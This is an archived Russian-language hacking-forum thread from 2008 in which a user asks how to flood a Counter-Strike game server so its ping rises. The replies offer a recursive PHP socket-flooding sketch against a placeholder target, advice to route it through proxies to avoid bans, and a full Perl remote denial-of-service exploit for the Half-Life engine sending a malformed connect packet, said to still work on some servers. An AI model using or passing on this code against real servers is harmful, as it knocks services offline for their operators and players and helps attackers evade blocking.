PDA

Просмотр полной версии : CounterStrike


vl25
08.12.2008, 15:28
Хай народ, не скажете как через php забросать пакетами\запросами игровой сервер так чтобы на нём значительно поднялся пинг?

rtw
08.12.2008, 16:05
Если знать точно какие запросы будет принимать сервер и обрабатывать, то как-то так:

function send_pocket()
{
error_reporting(E_ALL);
$address = gethostbyname('target.ru');
$port = "27015"
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); //Кстати, игровой траффик обычно по UDP, но не суть важно в наброске
$res = socket_connect($socket, $address, $port);
socket_write($socket, 'HERE_REQUEST', strlen('HERE_REQUEST'));
send_pocket()
}
//Вместе с поднятием пинга, такая рекурсия создаст из самого себя не более чем вантуз. Но это тольно набросок идеи!

Swedesh
09.12.2008, 19:40
спасибо с меня +

inlanger
09.12.2008, 20:00
Если админ не дурак, то твой ip сразу забанят. Надо ещё прокси туда добавить, вот тогда весело будет :)

BlackSun
09.12.2008, 20:10
На php? вы изврашенцы?

Тигр
09.12.2008, 20:25
Старенький но кое где работает еще.
#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362 58af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

Isis
09.12.2008, 20:56
# bug found by Firestorm
Это или то что я думаю или не думаю